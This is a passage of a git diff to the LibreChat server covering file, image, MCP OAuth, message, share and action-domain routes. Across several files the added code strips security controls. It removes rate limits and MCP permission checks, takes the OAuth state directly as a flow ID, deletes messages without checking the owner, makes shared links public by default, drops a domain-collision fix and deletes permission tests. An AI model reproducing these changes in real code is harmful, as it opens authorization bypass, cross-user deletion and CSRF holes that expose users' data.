try {
/* TODO: optimize to return imported conversations and add manually */
@@ -299,7 +280,7 @@ router.post('/fork', forkIpLimiter, forkUserLimiter, async (req, res) => {
}
});
-router.post('/duplicate', forkIpLimiter, forkUserLimiter, async (req, res) => {
+router.post('/duplicate', async (req, res) => {
const { conversationId, title } = req.body;
try {
diff --git a/api/server/routes/files/files.js b/api/server/routes/files/files.js
index fdb7768c3b..5de2ddb379 100644
--- a/api/server/routes/files/files.js
+++ b/api/server/routes/files/files.js
@@ -2,12 +2,12 @@ const fs = require('fs').promises;
const express = require('express');
const { EnvVar } = require('@librechat/agents');
const { logger } = require('@librechat/data-schemas');
-const { verifyAgentUploadPermission, resolveUploadErrorMessage } = require('@librechat/api');
const {
Time,
isUUID,
CacheKeys,
FileSources,
+ SystemRoles,
ResourceType,
EModelEndpoint,
PermissionBits,
@@ -381,22 +381,67 @@ router.post('/', async (req, res) => {
return await processFileUpload({ req, res, metadata });
}
- const denied = await verifyAgentUploadPermission({
- req,
- res,
- metadata,
- getAgent,
- checkPermission,
- });
- if (denied) {
- return;
+ /**
+ * Check agent permissions for permanent agent file uploads (not message attachments).
+ * Message attachments (message_file=true) are temporary files for a single conversation
+ * and should be allowed for users who can chat with the agent.
+ * Permanent file uploads to tool_resources require EDIT permission.
+ */
+ const isMessageAttachment = metadata.message_file === true || metadata.message_file === 'true';
+ if (metadata.agent_id && metadata.tool_resource && !isMessageAttachment) {
+ const userId = req.user.id;
+
+ /** Admin users bypass permission checks */
+ if (req.user.role !== SystemRoles.ADMIN) {
+ const agent = await getAgent({ id: metadata.agent_id });
+
+ if (!agent) {
+ return res.status(404).json({
+ error: 'Not Found',
+ message: 'Agent not found',
+ });
+ }
+
+ /** Check if user is the author or has edit permission */
+ if (agent.author.toString() !== userId) {
+ const hasEditPermission = await checkPermission({
+ userId,
+ role: req.user.role,
+ resourceType: ResourceType.AGENT,
+ resourceId: agent._id,
+ requiredPermission: PermissionBits.EDIT,
+ });
+
+ if (!hasEditPermission) {
+ logger.warn(
+ `[/files] User ${userId} denied upload to agent ${metadata.agent_id} (insufficient permissions)`,
+ );
+ return res.status(403).json({
+ error: 'Forbidden',
+ message: 'Insufficient permissions to upload files to this agent',
+ });
+ }
+ }
+ }
}
return await processAgentFileUpload({ req, res, metadata });
} catch (error) {
- const message = resolveUploadErrorMessage(error);
+ let message = 'Error processing file';
logger.error('[/files] Error processing file:', error);
+ if (error.message?.includes('file_ids')) {
+ message += ': ' + error.message;
+ }
+
+ if (
+ error.message?.includes('Invalid file format') ||
+ error.message?.includes('No OCR result') ||
+ error.message?.includes('exceeds token limit')
+ ) {
+ message = error.message;
+ }
+
try {
await fs.unlink(req.file.path);
cleanup = false;
diff --git a/api/server/routes/files/images.agents.test.js b/api/server/routes/files/images.agents.test.js
deleted file mode 100644
index 862ab87d63..0000000000
--- a/api/server/routes/files/images.agents.test.js
+++ /dev/null
@@ -1,376 +0,0 @@
-const express = require('express');
-const request = require('supertest');
-const mongoose = require('mongoose');
-const { v4: uuidv4 } = require('uuid');
-const { createMethods } = require('@librechat/data-schemas');
-const { MongoMemoryServer } = require('mongodb-memory-server');
-const {
- SystemRoles,
- AccessRoleIds,
- ResourceType,
- PrincipalType,
-} = require('librechat-data-provider');
-const { createAgent } = require('~/models/Agent');
-
-jest.mock('~/server/services/Files/process', () => ({
- processAgentFileUpload: jest.fn().mockImplementation(async ({ res }) => {
- return res.status(200).json({ message: 'Agent file uploaded', file_id: 'test-file-id' });
- }),
- processImageFile: jest.fn().mockImplementation(async ({ res }) => {
- return res.status(200).json({ message: 'Image processed' });
- }),
- filterFile: jest.fn(),
-}));
-
-jest.mock('fs', () => {
- const actualFs = jest.requireActual('fs');
- return {
- ...actualFs,
- promises: {
- ...actualFs.promises,
- unlink: jest.fn().mockResolvedValue(undefined),
- },
- };
-});
-
-const fs = require('fs');
-const { processAgentFileUpload } = require('~/server/services/Files/process');
-
-const router = require('~/server/routes/files/images');
-
-describe('POST /images - Agent Upload Permission Check (Integration)', () => {
- let mongoServer;
- let authorId;
- let otherUserId;
- let agentCustomId;
- let User;
- let Agent;
- let AclEntry;
- let methods;
- let modelsToCleanup = [];
-
- beforeAll(async () => {
- mongoServer = await MongoMemoryServer.create();
- const mongoUri = mongoServer.getUri();
- await mongoose.connect(mongoUri);
-
- const { createModels } = require('@librechat/data-schemas');
- const models = createModels(mongoose);
- modelsToCleanup = Object.keys(models);
- Object.assign(mongoose.models, models);
- methods = createMethods(mongoose);
-
- User = models.User;
- Agent = models.Agent;
- AclEntry = models.AclEntry;
-
- await methods.seedDefaultRoles();
- });
-
- afterAll(async () => {
- const collections = mongoose.connection.collections;
- for (const key in collections) {
- await collections[key].deleteMany({});
- }
- for (const modelName of modelsToCleanup) {
- if (mongoose.models[modelName]) {
- delete mongoose.models[modelName];
- }
- }
- await mongoose.disconnect();
- await mongoServer.stop();
- });
-
- beforeEach(async () => {
- await Agent.deleteMany({});
- await User.deleteMany({});
- await AclEntry.deleteMany({});
-
- authorId = new mongoose.Types.ObjectId();
- otherUserId = new mongoose.Types.ObjectId();
- agentCustomId = `agent_${uuidv4().replace(/-/g, '').substring(0, 21)}`;
-
- await User.create({ _id: authorId, username: 'author', email: 'author@test.com' });
- await User.create({ _id: otherUserId, username: 'other', email: 'other@test.com' });
-
- jest.clearAllMocks();
- });
-
- const createAppWithUser = (userId, userRole = SystemRoles.USER) => {
- const app = express();
- app.use(express.json());
- app.use((req, _res, next) => {
- if (req.method === 'POST') {
- req.file = {
- originalname: 'test.png',
- mimetype: 'image/png',
- size: 100,
- path: '/tmp/t.png',
- filename: 'test.png',
- };
- req.file_id = uuidv4();
- }
- next();
- });
- app.use((req, _res, next) => {
- req.user = { id: userId.toString(), role: userRole };
- req.app = { locals: {} };
- req.config = { fileStrategy: 'local', paths: { imageOutput: '/tmp/images' } };
- next();
- });
- app.use('/images', router);
- return app;
- };
-
- it('should return 403 when user has no permission on agent', async () => {
- await createAgent({
- id: agentCustomId,
- name: 'Test Agent',
- provider: 'openai',
- model: 'gpt-4',
- author: authorId,
- });
-
- const app = createAppWithUser(otherUserId);
- const response = await request(app).post('/images').send({
- endpoint: 'agents',
- agent_id: agentCustomId,
- tool_resource: 'context',
- file_id: uuidv4(),
- });
-
- expect(response.status).toBe(403);
- expect(response.body.error).toBe('Forbidden');
- expect(processAgentFileUpload).not.toHaveBeenCalled();
- expect(fs.promises.unlink).toHaveBeenCalledWith('/tmp/t.png');
- });
-
- it('should allow upload for agent owner', async () => {
- await createAgent({
- id: agentCustomId,
- name: 'Test Agent',
- provider: 'openai',
- model: 'gpt-4',
- author: authorId,
- });
-
- const app = createAppWithUser(authorId);
- const response = await request(app).post('/images').send({
- endpoint: 'agents',
- agent_id: agentCustomId,
- tool_resource: 'context',
- file_id: uuidv4(),
- });
-
- expect(response.status).toBe(200);
- expect(processAgentFileUpload).toHaveBeenCalled();
- });
-
- it('should allow upload for admin regardless of ownership', async () => {
- await createAgent({
- id: agentCustomId,
- name: 'Test Agent',
- provider: 'openai',
- model: 'gpt-4',
- author: authorId,
- });
-
- const app = createAppWithUser(otherUserId, SystemRoles.ADMIN);
- const response = await request(app).post('/images').send({
- endpoint: 'agents',
- agent_id: agentCustomId,
- tool_resource: 'context',
- file_id: uuidv4(),
- });
-
- expect(response.status).toBe(200);
- expect(processAgentFileUpload).toHaveBeenCalled();
- });
-
- it('should allow upload for user with EDIT permission', async () => {
- const agent = await createAgent({
- id: agentCustomId,
- name: 'Test Agent',
- provider: 'openai',
- model: 'gpt-4',
- author: authorId,
- });
-
- const { grantPermission } = require('~/server/services/PermissionService');
- await grantPermission({
- principalType: PrincipalType.USER,
- principalId: otherUserId,
- resourceType: ResourceType.AGENT,
- resourceId: agent._id,
- accessRoleId: AccessRoleIds.AGENT_EDITOR,
- grantedBy: authorId,
- });
-
- const app = createAppWithUser(otherUserId);
- const response = await request(app).post('/images').send({
- endpoint: 'agents',
- agent_id: agentCustomId,
- tool_resource: 'context',
- file_id: uuidv4(),
- });
-
- expect(response.status).toBe(200);
- expect(processAgentFileUpload).toHaveBeenCalled();
- });
-
- it('should deny upload for user with only VIEW permission', async () => {
- const agent = await createAgent({
- id: agentCustomId,
- name: 'Test Agent',
- provider: 'openai',
- model: 'gpt-4',
- author: authorId,
- });
-
- const { grantPermission } = require('~/server/services/PermissionService');
- await grantPermission({
- principalType: PrincipalType.USER,
- principalId: otherUserId,
- resourceType: ResourceType.AGENT,
- resourceId: agent._id,
- accessRoleId: AccessRoleIds.AGENT_VIEWER,
- grantedBy: authorId,
- });
-
- const app = createAppWithUser(otherUserId);
- const response = await request(app).post('/images').send({
- endpoint: 'agents',
- agent_id: agentCustomId,
- tool_resource: 'context',
- file_id: uuidv4(),
- });
-
- expect(response.status).toBe(403);
- expect(response.body.error).toBe('Forbidden');
- expect(processAgentFileUpload).not.toHaveBeenCalled();
- expect(fs.promises.unlink).toHaveBeenCalledWith('/tmp/t.png');
- });
-
- it('should skip permission check for regular image uploads without agent_id/tool_resource', async () => {
- const app = createAppWithUser(otherUserId);
- const response = await request(app).post('/images').send({
- endpoint: 'agents',
- file_id: uuidv4(),
- });
-
- expect(response.status).toBe(200);
- });
-
- it('should return 404 for non-existent agent', async () => {
- const app = createAppWithUser(otherUserId);
- const response = await request(app).post('/images').send({
- endpoint: 'agents',
- agent_id: 'agent_nonexistent123456789',
- tool_resource: 'context',
- file_id: uuidv4(),
- });
-
- expect(response.status).toBe(404);
- expect(response.body.error).toBe('Not Found');
- expect(processAgentFileUpload).not.toHaveBeenCalled();
- expect(fs.promises.unlink).toHaveBeenCalledWith('/tmp/t.png');
- });
-
- it('should allow message_file attachment (boolean true) without EDIT permission', async () => {
- const agent = await createAgent({
- id: agentCustomId,
- name: 'Test Agent',
- provider: 'openai',
- model: 'gpt-4',
- author: authorId,
- });
-
- const { grantPermission } = require('~/server/services/PermissionService');
- await grantPermission({
- principalType: PrincipalType.USER,
- principalId: otherUserId,
- resourceType: ResourceType.AGENT,
- resourceId: agent._id,
- accessRoleId: AccessRoleIds.AGENT_VIEWER,
- grantedBy: authorId,
- });
-
- const app = createAppWithUser(otherUserId);
- const response = await request(app).post('/images').send({
- endpoint: 'agents',
- agent_id: agentCustomId,
- tool_resource: 'context',
- message_file: true,
- file_id: uuidv4(),
- });
-
- expect(response.status).toBe(200);
- expect(processAgentFileUpload).toHaveBeenCalled();
- });
-
- it('should allow message_file attachment (string "true") without EDIT permission', async () => {
- const agent = await createAgent({
- id: agentCustomId,
- name: 'Test Agent',
- provider: 'openai',
- model: 'gpt-4',
- author: authorId,
- });
-
- const { grantPermission } = require('~/server/services/PermissionService');
- await grantPermission({
- principalType: PrincipalType.USER,
- principalId: otherUserId,
- resourceType: ResourceType.AGENT,
- resourceId: agent._id,
- accessRoleId: AccessRoleIds.AGENT_VIEWER,
- grantedBy: authorId,
- });
-
- const app = createAppWithUser(otherUserId);
- const response = await request(app).post('/images').send({
- endpoint: 'agents',
- agent_id: agentCustomId,
- tool_resource: 'context',
- message_file: 'true',
- file_id: uuidv4(),
- });
-
- expect(response.status).toBe(200);
- expect(processAgentFileUpload).toHaveBeenCalled();
- });
-
- it('should deny upload when message_file is false (not a message attachment)', async () => {
- const agent = await createAgent({
- id: agentCustomId,
- name: 'Test Agent',
- provider: 'openai',
- model: 'gpt-4',
- author: authorId,
- });
-
- const { grantPermission } = require('~/server/services/PermissionService');
- await grantPermission({
- principalType: PrincipalType.USER,
- principalId: otherUserId,
- resourceType: ResourceType.AGENT,
- resourceId: agent._id,
- accessRoleId: AccessRoleIds.AGENT_VIEWER,
- grantedBy: authorId,
- });
-
- const app = createAppWithUser(otherUserId);
- const response = await request(app).post('/images').send({
- endpoint: 'agents',
- agent_id: agentCustomId,
- tool_resource: 'context',
- message_file: false,
- file_id: uuidv4(),
- });
-
- expect(response.status).toBe(403);
- expect(response.body.error).toBe('Forbidden');
- expect(processAgentFileUpload).not.toHaveBeenCalled();
- expect(fs.promises.unlink).toHaveBeenCalledWith('/tmp/t.png');
- });
-});
diff --git a/api/server/routes/files/images.js b/api/server/routes/files/images.js
index d5d8f51193..8072612a69 100644
--- a/api/server/routes/files/images.js
+++ b/api/server/routes/files/images.js
@@ -2,15 +2,12 @@ const path = require('path');
const fs = require('fs').promises;
const express = require('express');
const { logger } = require('@librechat/data-schemas');
-const { verifyAgentUploadPermission, resolveUploadErrorMessage } = require('@librechat/api');
const { isAssistantsEndpoint } = require('librechat-data-provider');
const {
processAgentFileUpload,
processImageFile,
filterFile,
} = require('~/server/services/Files/process');
-const { checkPermission } = require('~/server/services/PermissionService');
-const { getAgent } = require('~/models/Agent');
const router = express.Router();
@@ -25,16 +22,6 @@ router.post('/', async (req, res) => {
metadata.file_id = req.file_id;
if (!isAssistantsEndpoint(metadata.endpoint) && metadata.tool_resource != null) {
- const denied = await verifyAgentUploadPermission({
- req,
- res,
- metadata,
- getAgent,
- checkPermission,
- });
- if (denied) {
- return;
- }
return await processAgentFileUpload({ req, res, metadata });
}
@@ -43,7 +30,15 @@ router.post('/', async (req, res) => {
// TODO: delete remote file if it exists
logger.error('[/files/images] Error processing file:', error);
- const message = resolveUploadErrorMessage(error);
+ let message = 'Error processing file';
+
+ if (
+ error.message?.includes('Invalid file format') ||
+ error.message?.includes('No OCR result') ||
+ error.message?.includes('exceeds token limit')
+ ) {
+ message = error.message;
+ }
try {
const filepath = path.join(
diff --git a/api/server/routes/mcp.js b/api/server/routes/mcp.js
index 57a99d199a..2db8c2c462 100644
--- a/api/server/routes/mcp.js
+++ b/api/server/routes/mcp.js
@@ -13,7 +13,6 @@ const {
MCPOAuthHandler,
MCPTokenStorage,
setOAuthSession,
- PENDING_STALE_MS,
getUserMCPAuthMap,
validateOAuthCsrf,
OAUTH_CSRF_COOKIE,
@@ -50,18 +49,6 @@ const router = Router();
const OAUTH_CSRF_COOKIE_PATH = '/api/mcp';
-const checkMCPUsePermissions = generateCheckAccess({
- permissionType: PermissionTypes.MCP_SERVERS,
- permissions: [Permissions.USE],
- getRoleByName,
-});
-
-const checkMCPCreate = generateCheckAccess({
- permissionType: PermissionTypes.MCP_SERVERS,
- permissions: [Permissions.USE, Permissions.CREATE],
- getRoleByName,
-});
-
/**
* Get all MCP tools available to the user
* Returns only MCP tools, completely decoupled from regular LibreChat tools
@@ -104,11 +91,7 @@ router.get('/:serverName/oauth/initiate', requireJwtAuth, setOAuthSession, async
}
const oauthHeaders = await getOAuthHeaders(serverName, userId);
- const {
- authorizationUrl,
- flowId: oauthFlowId,
- flowMetadata,
- } = await MCPOAuthHandler.initiateOAuthFlow(
+ const { authorizationUrl, flowId: oauthFlowId } = await MCPOAuthHandler.initiateOAuthFlow(
serverName,
serverUrl,
userId,
@@ -118,7 +101,6 @@ router.get('/:serverName/oauth/initiate', requireJwtAuth, setOAuthSession, async
logger.debug('[MCP OAuth] OAuth flow initiated', { oauthFlowId, authorizationUrl });
- await MCPOAuthHandler.storeStateMapping(flowMetadata.state, oauthFlowId, flowManager);
setOAuthCsrfCookie(res, oauthFlowId, OAUTH_CSRF_COOKIE_PATH);
res.redirect(authorizationUrl);
} catch (error) {
@@ -161,53 +143,31 @@ router.get('/:serverName/oauth/callback', async (req, res) => {
return res.redirect(`${basePath}/oauth/error?error=missing_state`);
}
- const flowsCache = getLogStores(CacheKeys.FLOWS);
- const flowManager = getFlowStateManager(flowsCache);
-
- const flowId = await MCPOAuthHandler.resolveStateToFlowId(state, flowManager);
- if (!flowId) {
- logger.error('[MCP OAuth] Could not resolve state to flow ID', { state });
- return res.redirect(`${basePath}/oauth/error?error=invalid_state`);
- }
- logger.debug('[MCP OAuth] Resolved flow ID from state', { flowId });
+ const flowId = state;
+ logger.debug('[MCP OAuth] Using flow ID from state', { flowId });
const flowParts = flowId.split(':');
if (flowParts.length < 2 || !flowParts[0] || !flowParts[1]) {
- logger.error('[MCP OAuth] Invalid flow ID format', { flowId });
+ logger.error('[MCP OAuth] Invalid flow ID format in state', { flowId });
return res.redirect(`${basePath}/oauth/error?error=invalid_state`);
}
const [flowUserId] = flowParts;
-
- const hasCsrf = validateOAuthCsrf(req, res, flowId, OAUTH_CSRF_COOKIE_PATH);
- const hasSession = !hasCsrf && validateOAuthSession(req, flowUserId);
- let hasActiveFlow = false;
- if (!hasCsrf && !hasSession) {
- const pendingFlow = await flowManager.getFlowState(flowId, 'mcp_oauth');
- const pendingAge = pendingFlow?.createdAt ? Date.now() - pendingFlow.createdAt : Infinity;
- hasActiveFlow = pendingFlow?.status === 'PENDING' && pendingAge < PENDING_STALE_MS;
- if (hasActiveFlow) {
- logger.debug(
- '[MCP OAuth] CSRF/session cookies absent, validating via active PENDING flow',
- {
- flowId,
- },
- );
- }
- }
-
- if (!hasCsrf && !hasSession && !hasActiveFlow) {
- logger.error(
- '[MCP OAuth] CSRF validation failed: no valid CSRF cookie, session cookie, or active flow',
- {
- flowId,
- hasCsrfCookie: !!req.cookies?.[OAUTH_CSRF_COOKIE],
- hasSessionCookie: !!req.cookies?.[OAUTH_SESSION_COOKIE],
- },
- );
+ if (
+ !validateOAuthCsrf(req, res, flowId, OAUTH_CSRF_COOKIE_PATH) &&
+ !validateOAuthSession(req, flowUserId)
+ ) {
+ logger.error('[MCP OAuth] CSRF validation failed: no valid CSRF or session cookie', {
+ flowId,
+ hasCsrfCookie: !!req.cookies?.[OAUTH_CSRF_COOKIE],
+ hasSessionCookie: !!req.cookies?.[OAUTH_SESSION_COOKIE],
+ });
return res.redirect(`${basePath}/oauth/error?error=csrf_validation_failed`);
}
+ const flowsCache = getLogStores(CacheKeys.FLOWS);
+ const flowManager = getFlowStateManager(flowsCache);
+
logger.debug('[MCP OAuth] Getting flow state for flowId: ' + flowId);
const flowState = await MCPOAuthHandler.getFlowState(flowId, flowManager);
@@ -321,13 +281,7 @@ router.get('/:serverName/oauth/callback', async (req, res) => {
const toolFlowId = flowState.metadata?.toolFlowId;
if (toolFlowId) {
logger.debug('[MCP OAuth] Completing tool flow', { toolFlowId });
- const completed = await flowManager.completeFlow(toolFlowId, 'mcp_oauth', tokens);
- if (!completed) {
- logger.warn(
- '[MCP OAuth] Tool flow state not found during completion — waiter will time out',
- { toolFlowId },
- );
- }
+ await flowManager.completeFlow(toolFlowId, 'mcp_oauth', tokens);
}
/** Redirect to success page with flowId and serverName */
@@ -482,75 +436,69 @@ router.post('/oauth/cancel/:serverName', requireJwtAuth, async (req, res) => {
* Reinitialize MCP server
* This endpoint allows reinitializing a specific MCP server
*/
-router.post(
- '/:serverName/reinitialize',
- requireJwtAuth,
- checkMCPUsePermissions,
- setOAuthSession,
- async (req, res) => {
- try {
- const { serverName } = req.params;
- const user = createSafeUser(req.user);
+router.post('/:serverName/reinitialize', requireJwtAuth, setOAuthSession, async (req, res) => {
+ try {
+ const { serverName } = req.params;
+ const user = createSafeUser(req.user);
- if (!user.id) {
- return res.status(401).json({ error: 'User not authenticated' });
- }
-
- logger.info(`[MCP Reinitialize] Reinitializing server: ${serverName}`);
-
- const mcpManager = getMCPManager();
- const serverConfig = await getMCPServersRegistry().getServerConfig(serverName, user.id);
- if (!serverConfig) {
- return res.status(404).json({
- error: `MCP server '${serverName}' not found in configuration`,
- });
- }
-
- await mcpManager.disconnectUserConnection(user.id, serverName);
- logger.info(
- `[MCP Reinitialize] Disconnected existing user connection for server: ${serverName}`,
- );
-
- /** @type {Record> | undefined} */
- let userMCPAuthMap;
- if (serverConfig.customUserVars && typeof serverConfig.customUserVars === 'object') {
- userMCPAuthMap = await getUserMCPAuthMap({
- userId: user.id,
- servers: [serverName],
- findPluginAuthsByKeys,
- });
- }
-
- const result = await reinitMCPServer({
- user,
- serverName,
- userMCPAuthMap,
- });
-
- if (!result) {
- return res.status(500).json({ error: 'Failed to reinitialize MCP server for user' });
- }
-
- const { success, message, oauthRequired, oauthUrl } = result;
-
- if (oauthRequired) {
- const flowId = MCPOAuthHandler.generateFlowId(user.id, serverName);
- setOAuthCsrfCookie(res, flowId, OAUTH_CSRF_COOKIE_PATH);
- }
-
- res.json({
- success,
- message,
- oauthUrl,
- serverName,
- oauthRequired,
- });
- } catch (error) {
- logger.error('[MCP Reinitialize] Unexpected error', error);
- res.status(500).json({ error: 'Internal server error' });
+ if (!user.id) {
+ return res.status(401).json({ error: 'User not authenticated' });
}
- },
-);
+
+ logger.info(`[MCP Reinitialize] Reinitializing server: ${serverName}`);
+
+ const mcpManager = getMCPManager();
+ const serverConfig = await getMCPServersRegistry().getServerConfig(serverName, user.id);
+ if (!serverConfig) {
+ return res.status(404).json({
+ error: `MCP server '${serverName}' not found in configuration`,
+ });
+ }
+
+ await mcpManager.disconnectUserConnection(user.id, serverName);
+ logger.info(
+ `[MCP Reinitialize] Disconnected existing user connection for server: ${serverName}`,
+ );
+
+ /** @type {Record> | undefined} */
+ let userMCPAuthMap;
+ if (serverConfig.customUserVars && typeof serverConfig.customUserVars === 'object') {
+ userMCPAuthMap = await getUserMCPAuthMap({
+ userId: user.id,
+ servers: [serverName],
+ findPluginAuthsByKeys,
+ });
+ }
+
+ const result = await reinitMCPServer({
+ user,
+ serverName,
+ userMCPAuthMap,
+ });
+
+ if (!result) {
+ return res.status(500).json({ error: 'Failed to reinitialize MCP server for user' });
+ }
+
+ const { success, message, oauthRequired, oauthUrl } = result;
+
+ if (oauthRequired) {
+ const flowId = MCPOAuthHandler.generateFlowId(user.id, serverName);
+ setOAuthCsrfCookie(res, flowId, OAUTH_CSRF_COOKIE_PATH);
+ }
+
+ res.json({
+ success,
+ message,
+ oauthUrl,
+ serverName,
+ oauthRequired,
+ });
+ } catch (error) {
+ logger.error('[MCP Reinitialize] Unexpected error', error);
+ res.status(500).json({ error: 'Internal server error' });
+ }
+});
/**
* Get connection status for all MCP servers
@@ -657,7 +605,7 @@ router.get('/connection/status/:serverName', requireJwtAuth, async (req, res) =>
* Check which authentication values exist for a specific MCP server
* This endpoint returns only boolean flags indicating if values are set, not the actual values
*/
-router.get('/:serverName/auth-values', requireJwtAuth, checkMCPUsePermissions, async (req, res) => {
+router.get('/:serverName/auth-values', requireJwtAuth, async (req, res) => {
try {
const { serverName } = req.params;
const user = req.user;
@@ -714,6 +662,19 @@ async function getOAuthHeaders(serverName, userId) {
MCP Server CRUD Routes (User-Managed MCP Servers)
*/
+// Permission checkers for MCP server management
+const checkMCPUsePermissions = generateCheckAccess({
+ permissionType: PermissionTypes.MCP_SERVERS,
+ permissions: [Permissions.USE],
+ getRoleByName,
+});
+
+const checkMCPCreate = generateCheckAccess({
+ permissionType: PermissionTypes.MCP_SERVERS,
+ permissions: [Permissions.USE, Permissions.CREATE],
+ getRoleByName,
+});
+
/**
* Get list of accessible MCP servers
* @route GET /api/mcp/servers
diff --git a/api/server/routes/messages.js b/api/server/routes/messages.js
index 03286bc7f1..c208e9c406 100644
--- a/api/server/routes/messages.js
+++ b/api/server/routes/messages.js
@@ -404,8 +404,8 @@ router.put('/:conversationId/:messageId/feedback', validateMessageReq, async (re
router.delete('/:conversationId/:messageId', validateMessageReq, async (req, res) => {
try {
- const { conversationId, messageId } = req.params;
- await deleteMessages({ messageId, conversationId, user: req.user.id });
+ const { messageId } = req.params;
+ await deleteMessages({ messageId });
res.status(204).send();
} catch (error) {
logger.error('Error deleting message:', error);
diff --git a/api/server/routes/share.js b/api/server/routes/share.js
index 296644afde..6400b8b637 100644
--- a/api/server/routes/share.js
+++ b/api/server/routes/share.js
@@ -19,7 +19,9 @@ const allowSharedLinks =
process.env.ALLOW_SHARED_LINKS === undefined || isEnabled(process.env.ALLOW_SHARED_LINKS);
if (allowSharedLinks) {
- const allowSharedLinksPublic = isEnabled(process.env.ALLOW_SHARED_LINKS_PUBLIC);
+ const allowSharedLinksPublic =
+ process.env.ALLOW_SHARED_LINKS_PUBLIC === undefined ||
+ isEnabled(process.env.ALLOW_SHARED_LINKS_PUBLIC);
router.get(
'/:shareId',
allowSharedLinksPublic ? (req, res, next) => next() : requireJwtAuth,
diff --git a/api/server/services/ActionService.js b/api/server/services/ActionService.js
index bde052bba4..5e96726a46 100644
--- a/api/server/services/ActionService.js
+++ b/api/server/services/ActionService.js
@@ -28,7 +28,6 @@ const { getLogStores } = require('~/cache');
const JWT_SECRET = process.env.JWT_SECRET;
const toolNameRegex = /^[a-zA-Z0-9_-]+$/;
-const protocolRegex = /^https?:\/\//;
const replaceSeparatorRegex = new RegExp(actionDomainSeparator, 'g');
/**
@@ -49,11 +48,7 @@ const validateAndUpdateTool = async ({ req, tool, assistant_id }) => {
actions = await getActions({ assistant_id, user: req.user.id }, true);
const matchingActions = actions.filter((action) => {
const metadata = action.metadata;
- if (!metadata) {
- return false;
- }
- const strippedMetaDomain = stripProtocol(metadata.domain);
- return strippedMetaDomain === domain || metadata.domain === domain;
+ return metadata && metadata.domain === domain;
});
const action = matchingActions[0];
if (!action) {
@@ -71,36 +66,10 @@ const validateAndUpdateTool = async ({ req, tool, assistant_id }) => {
return tool;
};
-/** @param {string} domain */
-function stripProtocol(domain) {
- const stripped = domain.replace(protocolRegex, '');
- const pathIdx = stripped.indexOf('/');
- return pathIdx === -1 ? stripped : stripped.substring(0, pathIdx);
-}
-
-/**
- * Encodes a domain using the legacy scheme (full URL including protocol).
- * Used for backward-compatible matching against agents saved before the collision fix.
- * @param {string} domain
- * @returns {string}
- */
-function legacyDomainEncode(domain) {
- if (!domain) {
- return '';
- }
- if (domain.length <= Constants.ENCODED_DOMAIN_LENGTH) {
- return domain.replace(/\./g, actionDomainSeparator);
- }
- const modifiedDomain = Buffer.from(domain).toString('base64');
- return modifiedDomain.substring(0, Constants.ENCODED_DOMAIN_LENGTH);
-}
-
/**
* Encodes or decodes a domain name to/from base64, or replacing periods with a custom separator.
*
* Necessary due to `[a-zA-Z0-9_-]*` Regex Validation, limited to a 64-character maximum.
- * Strips protocol prefix before encoding to prevent base64 collisions
- * (all `https://` URLs share the same 10-char base64 prefix).
*
* @param {string} domain - The domain name to encode/decode.
* @param {boolean} inverse - False to decode from base64, true to encode to base64.
@@ -110,27 +79,23 @@ async function domainParser(domain, inverse = false) {
if (!domain) {
return;
}
-
const domainsCache = getLogStores(CacheKeys.ENCODED_DOMAINS);
+ const cachedDomain = await domainsCache.get(domain);
+ if (inverse && cachedDomain) {
+ return domain;
+ }
+
+ if (inverse && domain.length <= Constants.ENCODED_DOMAIN_LENGTH) {
+ return domain.replace(/\./g, actionDomainSeparator);
+ }
if (inverse) {
- const hostname = stripProtocol(domain);
- const cachedDomain = await domainsCache.get(hostname);
- if (cachedDomain) {
- return hostname;
- }
-
- if (hostname.length <= Constants.ENCODED_DOMAIN_LENGTH) {
- return hostname.replace(/\./g, actionDomainSeparator);
- }
-
- const modifiedDomain = Buffer.from(hostname).toString('base64');
+ const modifiedDomain = Buffer.from(domain).toString('base64');
const key = modifiedDomain.substring(0, Constants.ENCODED_DOMAIN_LENGTH);
await domainsCache.set(key, modifiedDomain);
return key;
}
- const cachedDomain = await domainsCache.get(domain);
if (!cachedDomain) {
return domain.replace(replaceSeparatorRegex, '.');
}
@@ -491,7 +456,6 @@ const deleteAssistantActions = async ({ req, assistant_id }) => {
module.exports = {
deleteAssistantActions,
validateAndUpdateTool,
- legacyDomainEncode,
createActionTool,
encryptMetadata,
decryptMetadata,
diff --git a/api/server/services/ActionService.spec.js b/api/server/services/ActionService.spec.js
index 42def44b4f..c60aef7ad1 100644
--- a/api/server/services/ActionService.spec.js
+++ b/api/server/services/ActionService.spec.js
@@ -1,539 +1,175 @@
-const { Constants, actionDelimiter, actionDomainSeparator } = require('librechat-data-provider');
-const { domainParser, legacyDomainEncode, validateAndUpdateTool } = require('./ActionService');
+const { Constants, actionDomainSeparator } = require('librechat-data-provider');
+const { domainParser } = require('./ActionService');
jest.mock('keyv');
-jest.mock('~/models/Action', () => ({
- getActions: jest.fn(),
- deleteActions: jest.fn(),
-}));
-
-const { getActions } = require('~/models/Action');
-
-let mockDomainCache = {};
+const globalCache = {};
jest.mock('~/cache/getLogStores', () => {
- return jest.fn().mockImplementation(() => ({
- get: async (key) => mockDomainCache[key] ?? null,
- set: async (key, value) => {
- mockDomainCache[key] = value;
- return true;
- },
- }));
-});
+ return jest.fn().mockImplementation(() => {
+ const EventEmitter = require('events');
+ const { CacheKeys } = require('librechat-data-provider');
-beforeEach(() => {
- mockDomainCache = {};
- getActions.mockReset();
-});
+ class KeyvMongo extends EventEmitter {
+ constructor(url = 'mongodb://127.0.0.1:27017', options) {
+ super();
+ this.ttlSupport = false;
+ url = url ?? {};
+ if (typeof url === 'string') {
+ url = { url };
+ }
+ if (url.uri) {
+ url = { url: url.uri, ...url };
+ }
+ this.opts = {
+ url,
+ collection: 'keyv',
+ ...url,
+ ...options,
+ };
+ }
-const SEP = actionDomainSeparator;
-const DELIM = actionDelimiter;
-const MAX = Constants.ENCODED_DOMAIN_LENGTH;
-const domainSepRegex = new RegExp(SEP, 'g');
+ get = async (key) => {
+ return new Promise((resolve) => {
+ resolve(globalCache[key] || null);
+ });
+ };
+
+ set = async (key, value) => {
+ return new Promise((resolve) => {
+ globalCache[key] = value;
+ resolve(true);
+ });
+ };
+ }
+
+ return new KeyvMongo('', {
+ namespace: CacheKeys.ENCODED_DOMAINS,
+ ttl: 0,
+ });
+ });
+});
describe('domainParser', () => {
- describe('nullish input', () => {
- it.each([null, undefined, ''])('returns undefined for %j', async (input) => {
- expect(await domainParser(input, true)).toBeUndefined();
- expect(await domainParser(input, false)).toBeUndefined();
- });
+ const TLD = '.com';
+
+ // Non-azure request
+ it('does not return domain as is if not azure', async () => {
+ const domain = `example.com${actionDomainSeparator}test${actionDomainSeparator}`;
+ const result1 = await domainParser(domain, false);
